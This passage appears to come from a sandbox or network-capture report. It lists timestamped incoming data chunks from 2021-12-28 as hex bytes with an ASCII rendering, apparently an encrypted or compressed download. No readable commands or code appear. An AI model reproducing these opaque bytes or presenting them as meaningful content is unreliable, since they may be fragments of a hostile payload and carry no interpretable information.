7e 49 30 0f 36 a5 14 ce d2 0b f9 9c 93 c4 6a 71 ae 25 7b f9 Data Ascii: VzgiDS;XWjQoY;"E_(PL`sp4,w#`t_}#z,x2ZT>U<.lLFOdLIGJ@dcd{ Mp{&^_([B-9OT9Vq}LL]"N-Uf`1!'b~I06jq%{
2021-12-28 17:13:33 UTC	2115	IN	Data Raw: 05 5b fa 7b df 45 38 eb cf f1 3e 1f 71 2d 61 38 6b ef d2 fa eb 55 8a 00 eb 34 71 48 bc 24 08 2b fc b4 ae ed 5f 15 5e 51 5a d3 ff ad 7a 79 96 88 d7 44 22 67 be 49 2f 47 21 13 5c ac aa 13 e8 3c 48 2c d3 67 36 a7 7b 67 95 6c 92 26 8d 34 5d 88 6f 88 53 3c 7b a4 4e a9 47 c5 f3 ad 58 e7 16 e8 a9 10 05 9e 15 f6 cc 05 ab a2 a6 4a 5a 36 99 18 43 9e f1 4d 39 c7 b1 ee 9a 87 89 f0 62 0a eb 67 6f ed a0 25 74 78 3d 95 77 d1 34 8f e6 a6 d2 49 87 56 07 3e c5 ab 6e e1 40 ec 99 db 85 73 38 73 6c c5 69 84 6e 8b 21 5b 07 28 d8 b2 b9 2b c2 78 f4 77 7e a7 08 27 08 e2 b0 e4 d5 d6 3d 9e 63 96 06 ce 44 58 23 e2 95 ce d4 00 53 fc 75 5c 30 d4 18 f2 9b 7e 7b c3 cc 0d 31 5c ac 52 46 00 77 21 03 10 0f 0c 0b bb c6 8f 4a 26 03 b5 70 e2 f6 91 ea 91 61 67 61 55 70 63 75 67 a8 6b 66 85 27 Data Ascii: [{E8>q-a8kU4qH$+_^QZzyD"gI/G!\<H,g6{gl&4]oS<{NGXJZ6CM9bgo%tx=w4IV>n@s8slin![(+xw~'=cDX#Su\0~{1\RFw!J&pagaUpcugkf'
2021-12-28 17:13:33 UTC	2131	IN	Data Raw: c1 2b 40 6f 01 60 80 f4 b0 f9 7a cc 86 fa 6f e7 1c 55 b6 d2 b9 f2 6d 81 5a 16 5b d8 c6 40 cc 06 13 7a f7 80 87 5a f1 00 3a bf c6 2e af 34 03 af 97 3b 30 f7 9b 7f d5 fb b7 2b a1 c6 24 67 de c0 90 08 b2 ec af 46 1c ee 5d 95 d4 b5 5e 46 6e 18 80 90 55 a6 95 07 e8 7c 87 80 c0 e6 aa 77 b3 c4 97 e4 12 2b f0 ed 61 e6 04 6f 45 c0 2e 8d aa 42 64 c8 24 a4 41 9c 65 d8 a0 90 97 fc 7b 7c a3 fe 41 bf 0b 13 41 26 70 6a bb 99 e5 86 5a ea 84 05 aa 70 6a 24 07 4d 07 6a 7f 8c 52 27 14 9c 62 85 c3 45 83 7f d5 33 d5 17 7b 50 60 e3 99 3e ff 98 81 eb 11 a3 96 69 e9 33 06 3a 95 71 05 77 96 48 9e 54 36 52 be 8a b4 5b 48 64 f8 bf 6b 0d 91 61 cc c3 8f 1f df 2c bd 77 70 39 57 83 46 f2 79 77 af 88 38 97 6e a5 ae 5c 5c ef e7 fd 02 64 10 c0 88 b1 f0 7a bd b8 3a d7 a4 d9 bf ce c4 39 48 Data Ascii: +@o`zoUmZ[@zZ:.4;0+$gF]^FnU\|w+aoE.Bd$Ae{\|AA&pjZpj$MjR'bE3{P`>i3:qwHT6R[Hdka,wp9WFyw8n\\dz:9H
2021-12-28 17:13:33 UTC	2147	IN	Data Raw: 2e a6 de a0 e8 76 b8 97 50 65 d8 90 70 21 35 c2 2b 07 61 88 87 a7 45 61 6c 06 40 b0 49 b6 f6 dd 0a c7 33 0f 94 bc 7c 9a f2 45 93 07 00 7b f2 90 79 b9 d1 fe 52 13 a7 4c 7b 70 18 cc f8 58 18 90 c7 33 8a 3f 15 38 f3 f5 4d 06 59 ca ed 92 2e 84 bb 6e 8f 07 bd 54 d3 e9 68 dd 93 0b 57 59 ad 45 60 90 01 1b 90 67 38 4c f4 a4 45 56 5b 9f f1 fc ef 46 8a f2 63 d8 42 da 29 64 89 53 43 ff 1c 44 82 f7 ec 68 7d 2b 84 d2 d1 06 d5 61 ee 33 18 58 0d 6c 5b 6f 95 d4 0a 46 f6 54 f2 2d a0 80 8c 90 fb b1 60 26 43 37 e8 b8 ec bf 30 d0 df 9c 12 9c 73 b4 e0 81 e7 70 3f 9d 9b 5a 66 36 5f aa 21 7b 38 d7 8d b3 3d f2 3d ae 02 f7 e0 a0 79 d1 08 32 c2 c2 d7 9e 31 9f 75 1c a2 75 be e9 67 40 b2 f8 d9 d0 e9 47 8d 91 f4 82 60 a7 73 cc bb 8d 5f b0 a2 e6 9f 6e 6d 10 fb 74 42 94 8b d7 3f 40 9d Data Ascii: .vPep!5+aEal@I3\|E{yRL{pX3?8MY.nThWYE`g8LEV[FcB)dSCDh}+a3Xl[oFT-`&C70sp?Zf6_!{8==y21uug@G`s_nmtB?@
2021-12-28 17:13:33 UTC	2163	IN	Data Raw: 25 28 21 8f 0b 95 de 23 0b 72 47 f2 33 5c 04 77 36 78 34 de b4 0a 38 c3 f3 96 ab a5 75 26 76 32 ce 4d 4e 6c 13 80 2f 30 a0 16 ad 4f ef a1 d7 75 76 0f b6 9a 5e fb a0 c1 c1 b5 d3 12 2c 8f 28 04 46 84 d2 93 94 8e 33 ce 6a 58 e6 86 b1 2a 03 2c 35 e0 1d ba 53 ca da b7 a3 6d 10 59 5c ec 03 6d ae 8b e4 5d 70 70 a0 e8 06 3b 3c 22 60 bb 8a 00 af f1 b4 86 d1 5c 0e ea ec 06 5e 8a 43 ca 23 b3 18 05 ac d1 e1 eb 7e 46 12 a9 75 67 26 02 3c 58 ee 40 66 e1 1d 6b cd 16 92 9c 4a ce b6 4f 95 34 07 6c 4c 5f de c6 2c cf 49 4c f5 fc b7 71 e4 0f c2 63 ce f1 3e e8 b9 93 06 9f d7 95 3d f9 33 9e d2 ed 38 0b 75 3f 6f 76 a3 92 2a a5 b4 81 0f e0 84 27 8d 4d 41 c5 9f 1f 74 56 7a a7 88 50 55 84 c9 65 8b d3 22 71 4d fe 2a a4 e0 c7 b5 24 ff ec e1 e7 d9 75 aa bd fc 6c 85 3e a3 7a db 9a b9 Data Ascii: %(!#rG3\w6x48u&v2MNl/0Ouv^,(F3jX,5SmY\m]pp;<"`\^C#~Fug&<X@fkJO4lL_,ILqc>=38u?ov'MAtVzPUe"qM*$ul>z
2021-12-28 17:13:33 UTC	2179	IN	Data Raw: f8 78 5c 73 89 29 a8 30 1d 56 21 06 94 6b 83 51 74 a0 b4 8e e5 48 6a 51 40 51 10 10 75 58 53 e1 25 34 6b 71 2c 5f c0 c1 a4 9f 60 44 02 9e 18 5a c9 de 93 8c 4d 24 f6 5a 9a 9c df ac 22 f8 18 c6 5a e1 bf f2 c0 6f 28 ef e9 d7 10 10 ec 8c 1e cc 53 fc e7 e0 9e 72 5a bd 8c 26 49 d4 d6 8a 50 10 07 90 25 85 cd 93 19 82 3c 0d 32 4c a0 a6 a8 18 40 45 da eb 5a f0 d9 98 cf 87 f4 ba 1f 02 3f bb fc 6c 85 87 29 ff 11 de 45 e8 bd 8d 92 f4 c3 73 0b e2 75 e4 9b b2 4a 15 36 af 80 db e7 3d 8a c0 a7 be a6 1f e5 09 b6 43 c1 90 eb 6d 71 be 64 38 e9 8e 8e 47 8f 50 7a bd cd bd 2a 94 28 97 fa 49 96 e1 9e 25 3a da f4 9d 61 bc 2c d9 d2 54 09 a2 98 28 6f e7 27 1a 7a 59 45 0d 70 5d d7 b9 2b e6 8c 3b 52 58 d4 e1 94 52 bd 89 8d e9 d6 f3 88 27 36 46 a3 75 28 96 55 72 80 d1 97 82 10 de b3 Data Ascii: x\s)0V!kQtHjQ@QuXS%4kq,_`DZM$Z"Zo(SrZ&IP%<2L@EZ?l)EsuJ6=Cmqd8GPz*(I%:a,T(o'zYEp]+;RXR'6Fu(Ur
2021-12-28 17:13:33 UTC	2195	IN	Data Raw: 68 5c 83 2c 2f b5 24 98 71 0d d6 04 d2 cd 26 c3 84 ca 3b db 4c 72 86 f4 89 be da 73 53 2b 94 60 64 d9 c6 22 36 8d d9 5e 4e 36 3d fc 71 ab b0 af 8c 5e e6 eb 9c d7 02 52 8d ee b4 e1 67 67 7c 9d f2 44 84 b9 9e 4a 0e f3 7d b1 3e d1 40 53 2c dd 19 9f 68 a7 68 66 06 d1 98 6e eb d2 bd 29 98 35 40 7a ef 59 a0 be 8a 0b 5f 78 c5 28 69 d0 44 66 63 ba d5 ea aa 4b 35 df 84 b4 78 c0 4b ec 14 e3 03 fb 02 9c 71 52 bf 51 8d a6 50 28 ef ae aa 1e 65 89 1c dd f2 e6 4a 40 42 31 90 3c 3a 53 59 8e 2e 2f 6a 75 97 1a 7c e1 78 39 53 4d 2c 4f 49 d2 d4 9c 91 07 c2 68 c2 43 54 11 78 69 c2 36 5d 79 ec d6 08 8e 28 b7 0c 3b 1c a8 1f 47 ee 15 c8 c1 62 30 b0 0b 88 36 59 84 d5 fc 0a 04 aa b2 15 6e 21 cc ef 16 c9 8a 83 1b 6e 6f b4 c5 8d ab 67 4c 7a 1b 4c b9 e4 c9 2d 2f 41 cb f1 1c 55 25 96 Data Ascii: h\,/$q&;LrsS+`d"6^N6=q^Rgg\|DJ}>@S,hhfn)5@zY_x(iDfcK5xKqRQP(eJ@B1<:SY./ju\|x9SM,OIhCTxi6]y(;Gb06Yn!nogLzL-/AU%
2021-12-28 17:13:33 UTC	2211	IN	Data Raw: 59 fa d0 21 77 6a ee ce 12 1c 74 c4 d8 39 f8 3b a3 f3 60 71 45 ac dc b6 45 f5 b9 02 aa 55 f4 bd 03 10 d3 5b 0f 94 d1 8a 0c 9e 4d 32 e0 ec e3 69 7c 52 93 9e 5b a3 3e 82 f4 f8 3b b1 60 e7 9d e9 5f cf b6 b6 82 20 ca 12 73 30 24 6c 2a d6 6b 96 69 41 8d 16 bb c1 b5 dc 6b fb 66 86 6d d5 59 68 4d 5f 26 31 a3 e7 c3 7a 2f ed 87 02 5c 66 6d 0f 32 27 94 21 39 9c 0b 6b ea b9 d5 ab cc 68 c3 ed 61 24 98 b1 21 0a 15 55 05 a2 e5 ad 3e 1c 06 58 2a ac e4 e5 c7 cc a2 fd 47 8c 7e a1 c5 e5 9b 6c 09 ff 9a 9d 8f db a9 3c 6c ca cd 3b 21 c5 a3 5e b2 da e2 5a 33 4b 9d 98 47 ae 93 13 70 86 ef ed 05 4a f6 01 f2 53 72 69 6e 13 fa c1 20 71 0a 86 e9 67 f7 72 36 f4 ef 84 c4 7c 83 b0 2f 73 9a 09 5e ca 4d f7 2c e2 6d 70 b2 8a 16 51 e5 63 0b 19 19 89 f8 4d bb c7 58 e4 46 b4 b9 6c 6e 5c b3 Data Ascii: Y!wjt9;`qEEU[M2i\|R[>;`_ s0$lkiAkfmYhM_&1z/\fm2'!9kha$!U>XG~l<l;!^Z3KGpJSrin qgr6\|/s^M,mpQcMXFln\
2021-12-28 17:13:33 UTC	2227	IN	Data Raw: 92 19 53 32 4a 8b 4d 43 8a e3 63 8c f4 36 bc 04 d8 58 8f 4e e9 2f 56 f6 a7 93 6c db 70 a5 6f 99 58 6c 81 32 57 8b 1d b6 c2 ef f7 37 6d b2 3c 8d a8 ea 1f b1 0b e2 c5 1e 8a 9e 1d e8 b7 3a db b9 c6 c8 5a f6 d0 4f 66 ac cb 5c ac c3 46 de 59 26 2f 90 27 3f c1 41 8c 2e 44 4a 9f a7 47 75 00 00 7c df ed fa 89 ae d5 cd 34 8d 56 2a e7 e2 df f2 61 b5 2b 48 2b c8 16 af d7 07 41 49 03 31 c5 af 58 5b b5 bf f4 2d 71 6e 6f f0 fd a9 47 85 ad 62 7d da cd e5 81 eb 08 80 8f e8 be 7d 73 76 d3 90 c3 4b ad 14 de f1 59 ac ab 7d 3a a6 f3 bb 8a 15 6c 6e 8c 13 54 0a e7 1c 82 b5 08 54 1f 23 36 73 13 69 b2 40 94 06 ce 0d 21 3f 5c 45 71 86 af bf 93 5f bc 05 25 b8 7c 63 28 1a eb df 22 cf b6 d4 05 46 64 35 d0 db b2 7f 03 d3 b2 0b 76 ae 56 bc 0c 46 cf 2f 4f c4 c5 ab ed 80 83 c3 af cc 67 Data Ascii: S2JMCc6XN/VlpoXl2W7m<:ZOf\FY&/'?A.DJGu\|4V*a+H+AI1X[-qnoGb}}svKY}:lnTT#6si@!?\Eq_%\|c("Fd5vVF/Og
2021-12-28 17:13:33 UTC	2243	IN	Data Raw: 03 64 b6 5b 6a c9 4c d4 a5 60 82 7f 36 8f 26 29 a6 74 df f0 ef b3 e6 8a 42 09 d8 40 ce 46 ea df 10 56 a6 80 d3 55 da 84 0f 53 42 75 df 47 b1 9b ae be 57 2f 4d a3 38 b8 54 54 ae f9 48 86 1a fa 4c b0 ae 76 9c 64 c1 51 4e 86 c8 8b c1 34 60 7a 6d f0 3d 11 4d 4e 3c 46 b9 18 f1 85 35 5f d6 84 97 df 7c bb 85 8c 6d e9 41 44 2d 92 c2 ab 55 44 96 20 04 27 fe 52 48 fd 23 54 8a 56 c2 1c 97 0f fb 18 9f 5d 72 a2 bf 46 58 29 01 0c 9c 69 1f ee 33 11 16 71 52 7b 7a 39 8a 2d 2d bb b2 54 2b 5f 1b 46 db b1 7f a8 a9 d5 77 49 eb 3d 69 36 cf 3e 98 70 4f e8 4b 4e cc a2 6e 92 e2 5f f4 52 fa 19 50 eb 0e fa d4 4e 1d fb 0b 09 76 d2 c5 f7 45 77 dc ec c2 18 e5 cc 9b 08 70 37 2b 41 47 14 cf 08 d0 6f 30 3e 67 4d 3f ef 2e bf e1 48 dd 2c 34 5d dd 18 9d 7d f4 d6 78 66 00 45 08 12 ce 81 39 Data Ascii: d[jL`6&)tB@FVUSBuGW/M8TTHLvdQN4`zm=MN<F5_\|mAD-UD 'RH#TV]rFX)i3qR{z9--T+_FwI=i6>pOKNn_RPNvEwp7+AGo0>gM?.H,4]}xfE9
2021-12-28 17:13:33 UTC	2259	IN	Data Raw: 27 c3 3c fa 3e 50 0d 79 30 db 61 73 fb 52 6c 13 26 a4 a0 10 48 6f 75 84 7b 7f d2 ec ea a0 fd 44 89 f7 8a c5 23 9d 2c d8 5b 99 fa 81 ef 3c ba 2e d2 9d a6 1c 7d 90 0e 61 8b 62 91 a7 ac 4a df fa 3d ab c7 d2 cf b5 fc 31 86 9f 09 ed 12 57 a6 ff 84 be 74 af bc cb 5b 22 4b 7d 26 9a 2c 3b dd 3e ab 94 9f eb ce b7 79 50 0b e5 e1 df 7c 84 99 58 28 77 f2 ee d6 7d 5a 9a 7e 30 58 9f 45 97 77 19 3d ce 46 4a d1 5c da 64 b0 4f f8 fd 3f 07 c0 3c 04 c5 bf 41 1d 90 90 8f c6 b8 a6 39 32 16 82 99 28 35 a2 60 2b a6 74 4c 90 5c aa 55 bb 47 16 a0 51 b0 a2 0d d5 ec b1 a3 7e 9c 27 cb e0 17 4a 38 1c 3f 06 0c 3d 0c d3 b4 1a e5 81 c2 f3 3d 03 7e ea ad 23 f5 9f fb ca b3 e4 bf b0 66 8f 5c 10 61 48 19 9f 52 71 33 dc 1f a1 1f 3f 85 60 b2 1e 30 89 02 93 35 76 09 3c 13 60 44 7b 4b 93 6e 36 Data Ascii: '<>Py0asRl&Hou{D#,[<.}abJ=1Wt["K}&,;>yP\|X(w}Z~0XEw=FJ\dO?<A92(5`+tL\UGQ~'J8?==~#f\aHRq3?`05v<`D{Kn6
2021-12-28 17:13:33 UTC	2275	IN	Data Raw: 6e b1 93 3c 02 39 e9 df a3 c6 3a d9 ce f3 5c a2 da 0b 78 38 e7 1c 74 2b a9 f8 37 35 1a 20 8b 19 67 4e cd 29 26 41 bf cb 9d 1f b5 da f1 a9 35 27 12 15 fa 6b 15 64 e8 a1 64 89 83 66 29 57 89 f8 ab fe 98 d5 97 7f f9 30 e5 4d d8 e0 06 7a c5 24 9b cb db 7e 1b 3c 12 4f 44 24 8b 91 5a c6 60 7d 34 9d e8 90 92 73 9c a2 b4 0c 42 8e a0 cb dd 26 88 d3 a2 48 5b 5b c9 4c 1a fc 63 dd 70 aa 83 35 c8 23 7e b0 f2 26 61 01 71 d8 cb e5 ec ad 52 e4 3b c9 83 dc 5c 3e 65 a2 10 22 0a 2f 61 ef 45 94 e6 da cc 3e 68 3a 6e d5 4e 9e b4 1b 26 69 c8 89 31 f0 b1 bb 77 f6 22 cc e0 d9 16 8d 83 d3 97 df 47 68 72 a4 71 44 eb 0a 31 45 e8 c8 83 d1 7e 2d 99 82 ac 6b 5a a6 38 9d ce 95 3b e8 6b e1 fa ec c7 cb b7 22 c9 f9 9c ca a2 86 c0 b0 41 a9 98 f7 19 11 45 dc 54 8a 81 31 cf 77 ae fc 3a 1f 18 Data Ascii: n<9:\x8t+75 gN)&A5'kddf)W0Mz$~<OD$Z`}4sB&H[[Lcp5#~&aqR;\>e"/aE>h:nN&i1w"GhrqD1E~-kZ8;k"AET1w:
2021-12-28 17:13:33 UTC	2291	IN	Data Raw: af aa d2 ce 23 57 86 6d 8c 09 95 ff 65 23 2b 33 76 97 ec a4 8a 14 08 f3 f2 24 57 58 d0 7e 9e ad e7 b1 c6 e6 24 e5 a1 01 d3 22 38 79 90 2f 36 cd 78 b4 98 30 32 7b 34 ee ef 8c 7d f1 57 90 0d 84 f4 06 fd 22 43 91 15 ff bb b8 a3 97 60 42 53 8e 04 59 a7 01 32 38 c0 6c 54 56 8c 0c e0 ea 93 a9 a4 b0 4b e0 dd 48 0e 43 9b 89 39 43 ef 07 78 e8 36 d9 a3 69 3f 9c 89 64 b8 5a 99 34 a8 99 5c bb 34 52 5a 08 e9 69 c4 1d 43 37 de 8b 96 e7 98 fc 38 95 cc 0a 4b 95 b4 08 b0 6c fa ba 9f ba 73 7a cc dc 87 58 ca ac 90 27 ac 8a 64 85 1e eb 03 de 81 17 d1 b3 7e 40 35 b6 e4 e2 43 d7 ad 73 31 b2 db 01 5c 1f 05 4b a9 ab d4 a2 28 d2 54 58 16 f8 e9 d9 cd 3a 4b 52 5c 0c 6c 3a e9 eb 8e 85 43 12 a6 d1 63 ee cc 61 56 9b ca db 7e 89 57 6a 94 3b a7 0e 6b 9b 3e 42 83 bb 26 aa c5 38 f3 30 45 Data Ascii: #Wme#+3v$WX~$"8y/6x02{4}W"C`BSY28lTVKHC9Cx6i?dZ4\4RZiC78KlszX'd~@5Cs1\K(TX:KR\l:CcaV~Wj;k>B&80E
2021-12-28 17:13:33 UTC	2307	IN	Data Raw: 59 91 6a 93 f4 f9 c0 a5 fb ad 1d 2a 14 15 8a 64 29 91 fa cf 7e e7 b4 9e ef bb b4 9d 38 34 8c 98 7b 5b de 40 7b b2 0e 5f 6f 62 42 e8 04 1d ba 32 96 32 12 a0 b6 a7 d2 ac 1b 95 c8 e8 77 1f c3 68 25 8a 43 51 3e 27 7e 9e 7f de 13 9e 23 97 83 fb dc 0b 81 3f f7 f1 47 88 94 db 7d 73 a3 5b 07 b9 49 b1 e8 96 45 ac 61 d1 28 ab 70 09 71 7a 80 8f eb ad c3 92 96 79 a7 e5 c9 bc 0f cf 3b 03 e7 da 80 5b a4 f3 59 08 48 fa d9 bd 16 e1 c6 8a 09 3d 50 4a 44 d5 a5 74 01 93 43 84 32 84 6f 27 57 17 f9 0e e9 ba a6 c1 eb 33 ab 99 5c f3 5f 49 1a 30 06 9c 92 0f 03 d4 1a f0 6c e2 4e 2b e3 46 41 b8 3d 70 aa 9e 7e 1a 77 8b 96 aa 1f 6a 86 2f 1b 84 cd da 21 d4 c8 ec 63 fb 56 56 12 c7 06 c0 54 2f 6c 5f 0c 32 78 aa a2 96 83 b4 f1 7c d1 be 4b 71 60 62 a7 0c de 27 d6 2d 65 43 60 c0 9e e2 c2 Data Ascii: Yj*d)~84{[@{_obB22wh%CQ>'~#?G}s[IEa(pqzy;[YH=PJDtC2o'W3\_I0lN+FA=p~wj/!cVVT/l_2x\|Kq`b'-eC`
2021-12-28 17:13:33 UTC	2323	IN	Data Raw: c0 c7 6a cf d7 f0 f8 58 2d 0c 2a ce 27 91 9d 15 d0 03 7c ab e0 87 c0 d5 11 df ca b7 e0 7d 47 5d 03 0b 51 82 19 de 75 5e f6 c4 5d 25 6e a4 a5 00 b3 41 58 5a 5c d8 8a 5a 3f 44 f6 0b 62 26 c4 89 e5 8b bd 9c 26 0c dc d6 11 88 5a a1 43 9b f8 18 c2 12 4b c5 5c a4 c8 2b 00 f0 6e e4 0b af d2 85 fd 11 a5 49 eb 86 25 84 69 11 21 3d 4f 71 15 10 44 fd 7d 58 26 4a ae 2b 69 1d 28 ed af d1 26 47 7d ba 8c e9 57 76 a9 c3 36 b8 d1 29 cc 19 0c 0e 0c bd dc e0 9e 9d ee 4a 8a 76 20 cc 21 84 59 be 2f 0d 1e 29 fa ef e2 5a c1 dc 12 73 12 8f 39 9a 85 65 43 9f 52 6a 72 e0 04 9e 01 e1 d6 3c ab 00 f2 5f 61 cf 83 15 12 b2 13 cb e4 21 4f 10 b4 41 82 bc 18 df 15 8e 38 bc d6 a3 de cc b4 a1 30 59 74 72 7a 17 21 46 b0 cb c6 bd dd 05 e3 be 33 77 68 9c bb 79 9a ed 1e 4a e3 56 e8 2f ec 37 cf Data Ascii: jX-*'\|}G]Qu^]%nAXZ\Z?Db&&ZCK\+nI%i!=OqD}X&J+i(&G}Wv6)Jv !Y/)Zs9eCRjr<_a!OA80Ytrz!F3whyJV/7
2021-12-28 17:13:33 UTC	2339	IN	Data Raw: 9b 53 1f 9d b7 30 70 41 ab ca 49 b8 b1 a4 d7 ce 8f 6b 18 83 97 e3 90 d4 3d d7 f4 a1 b5 74 a3 bf 02 a5 46 d3 e2 8a 3f cf 77 b5 c2 39 83 9a f2 50 68 59 b9 0d 32 ea 13 96 11 9e 33 38 cf 97 5a 9b d9 c9 52 0b dd 51 5b 66 3c 49 2b e7 7d 1b c3 2e 78 05 bf 16 ee a7 b7 c8 af 98 68 56 ed 25 22 83 8e e6 23 2d b6 b5 37 db 83 ef d2 15 24 64 5f 99 a3 d8 c4 b3 88 a5 dc 85 03 cb e4 f9 16 93 6c 93 28 9a 14 65 47 b0 63 18 c4 4a 9a 02 15 09 c2 23 98 a1 12 b3 46 89 c4 3b 89 0d f2 91 32 d2 ff 45 70 a8 00 81 03 74 f1 b4 25 41 46 09 75 ae 63 36 ed f2 c2 9d 65 91 03 e5 c0 a6 92 4c 5d 85 d9 ae 78 ad 8a 20 7d 1a 59 03 de c1 e1 23 d5 00 ff fe 51 7c 38 79 cd 2b 36 b3 61 3a 14 a3 84 b5 34 83 e9 62 c1 43 07 a1 96 31 a9 09 38 7b 80 a4 68 7c 43 ca 43 43 fc b3 a8 9f 96 ac d4 2b 0f 1f 7d Data Ascii: S0pAIk=tF?w9PhY238ZRQ[f<I+}.xhV%"#-7$d_l(eGcJ#F;2Ept%AFuc6eL]x }Y#Q\|8y+6a:4bC18{h\|CCC+}
2021-12-28 17:13:33 UTC	2355	IN	Data Raw: e9 9e 81 e6 27 ad 19 3b 35 22 10 fa 05 97 18 34 00 54 10 c4 3f 03 08 8e aa 61 93 e8 86 d1 e3 2b 17 2b 4c 12 f9 5c ee 95 2b 05 a2 3c f0 7b c6 ea b5 d3 00 81 13 f6 6b f8 9e f2 26 96 19 65 5e 5a 04 64 21 d2 8e 35 c8 17 c1 6d 12 34 4d 9d 3a 59 a7 5b ce 39 83 9d 41 bc 40 39 ff 3c 79 c6 3e bc 53 be 68 fd 8f 49 f5 53 c0 b7 ec 59 63 9f 04 37 d5 70 7e b2 3b 85 a0 9a 54 fd 7f 93 a7 34 42 eb f7 e4 04 50 3b 87 8e e1 15 dd d9 7e d5 9b 44 e9 36 4f 3d af 06 d6 ed 55 bc eb 81 90 d9 74 7c 2b 4d 14 8b 61 92 60 4c df 51 05 13 f0 23 fe 4a 36 50 75 72 16 35 db e6 bc 1a 0e 84 2b ef ed 0c 2f d7 df d2 2e 55 ab 66 7d 0f 13 e7 26 ca 71 47 47 2d bc f4 32 d3 ad ca d0 9e 26 ca a5 9e c5 ca bf 2d 50 43 05 7c de 2c 4b 9b e6 09 57 45 f6 4d 59 32 ac 44 28 f5 5a 81 ce 35 dd 17 18 00 a8 ac Data Ascii: ';5"4T?a++L\+<{k&e^Zd!5m4M:Y[9A@9<y>ShISYc7p~;T4BP;~D6O=Ut\|+Ma`LQ#J6Pur5+/.Uf}&qGG-2&-PC\|,KWEMY2D(Z5
2021-12-28 17:13:33 UTC	2371	IN	Data Raw: b3 3f 99 47 c1 dd da cc 28 38 1b 9a b7 b1 8c 39 92 be aa 02 b2 6e 57 63 5f 88 19 ab 8c d4 0e 2f f8 0c 53 d8 22 5a 23 40 c9 c0 12 e8 bc 7e 93 95 84 fd 8c fc e8 89 78 9a 73 f3 40 94 62 94 df 7b 41 0f 18 25 73 1f b5 ca 79 19 6a 42 0f 0f c5 0a c2 d4 f1 ca 65 ae 52 43 b7 97 30 ff e6 9a 76 fa 68 fd e2 ff fd 9f 79 89 0e f3 3c 00 f5 02 b3 6f 50 25 d9 fd 17 78 19 4b d4 14 a2 e1 30 e8 0e bf 96 6f bc a4 d1 13 06 3a ac d6 f1 27 1e e4 0a 2c 1e 7e 0e d6 6e 47 53 d2 ed de 23 88 17 5f 08 02 34 c4 82 0e 9a d6 ea b5 b7 e0 78 66 93 fd 95 13 52 99 61 6e eb 24 ca ba 55 ee ee 52 bf 64 44 da 51 9e 91 be 50 3b af 51 ce 3f 00 31 8d 88 7c a6 9a e4 1c bc b5 e2 f6 b8 81 e7 15 db ff 7c 58 2c 50 1b eb da 45 9e 64 60 9d 7f fd 53 31 b9 bd f9 af 27 7f 31 a5 ed 32 d7 e9 b4 5b 9c e2 59 4f Data Ascii: ?G(89nWc_/S"Z#@~xs@b{A%syjBeRC0vhy<oP%xK0o:',~nGS#_4xfRan$URdDQP;Q?1\|\|X,PEd`S1'12[YO
2021-12-28 17:13:33 UTC	2375	IN	Data Raw: c7 f3 28 eb 4c 77 69 73 03 21 3f 9c 76 34 63 58 57 87 1c 1c 72 8e 9c db c1 95 61 41 40 f6 3c 89 47 a4 17 88 42 36 5f bf 88 01 d8 cb 15 b7 f4 2f da 31 a1 ac 86 11 78 a4 13 30 79 89 08 0a 0f 95 08 47 f1 5c 4e aa fb 91 92 25 1e 47 a4 26 9a 38 0c c7 05 82 45 23 02 00 03 70 1f 6d 0d 0a 58 be 89 be a5 10 e0 21 dd 98 10 37 e8 22 13 8c a1 9a f8 24 c5 cc 45 94 f4 10 e3 b7 4b d3 e2 52 3d 4f 3d af fc 43 a8 32 ff 2e 00 07 35 39 63 8e f3 5e 86 7d 7e 02 08 a5 26 5d a3 64 77 50 27 63 17 08 f9 70 d7 c9 30 9c 07 eb 73 cb d4 0b ab ee b3 b5 49 fa bc 0d b2 b0 d9 83 7a 0d 5a 00 c9 a3 b6 c6 f9 e6 57 bc ff ae b3 2a 30 eb c8 87 6f 8b 71 f1 ab 5f 5c 58 ee 40 46 06 f7 8b 70 3f 9b e6 88 6f d5 de 4f b3 a8 62 b1 5d 87 a4 4f 60 d0 2d 67 5d 64 d9 f1 17 1e 8a c8 8c a3 20 bc 49 23 78 42 Data Ascii: (Lwis!?v4cXWraA@<GB6_/1x0yG\N%G&8E#pmX!7"$EKR=O=C2.59c^}~&]dwP'cp0sIzZW*0oq_\X@Fp?oOb]O`-g]d I#xB
2021-12-28 17:13:33 UTC	2391	IN	Data Raw: 34 cd 71 13 0c 63 87 56 2a 66 c7 16 ee c0 80 aa 5a a8 b1 b6 f3 1d 94 fe cf 3d ca 7d fc 12 04 fc aa 29 ac 1a 6a 39 ae 59 e0 4d 2b c7 39 c2 a9 e7 8f 69 71 a3 78 1a 5c d8 c0 e5 d0 79 e9 1d 2b c8 fe 20 33 db 31 44 e6 49 f4 94 a5 9f b4 9d c2 86 74 15 50 85 c7 4f 52 e9 6a 57 b9 21 ad 4a f7 3e ef b3 92 a3 56 61 44 ae df 33 7d 2a 05 39 1b 68 84 b4 e0 c5 be a5 f3 4a a6 29 c1 b8 b9 be 3c 95 4d a7 0c ce 0a 1c 54 3a 55 ec db 37 f0 5d 62 47 ad 44 9b c1 bd 58 52 79 2e 78 28 4d e3 55 32 9f be ec 28 94 7c c8 b0 51 00 df a0 e1 be 5f 0e 61 74 3a 1d 3d 6f 33 3b 29 60 d4 29 b0 05 aa 82 84 2d 50 d9 d7 16 75 37 03 02 29 4a 25 47 97 f3 53 b2 88 3d 3d 75 7e 2f bb eb 5a eb 6a e3 dc 95 87 39 20 3c f1 b9 40 54 75 4d 67 7e 15 ba 29 75 7b 45 e9 bb fe 71 8c 82 a4 59 54 ba d2 0d 41 4c Data Ascii: 4qcVfZ=})j9YM+9iqx\y+ 31DItPORjW!J>VaD3}9hJ)<MT:U7]bGDXRy.x(MU2(\|Q_at:=o3;)`)-Pu7)J%GS==u~/Zj9 <@TuMg~)u{EqYTAL
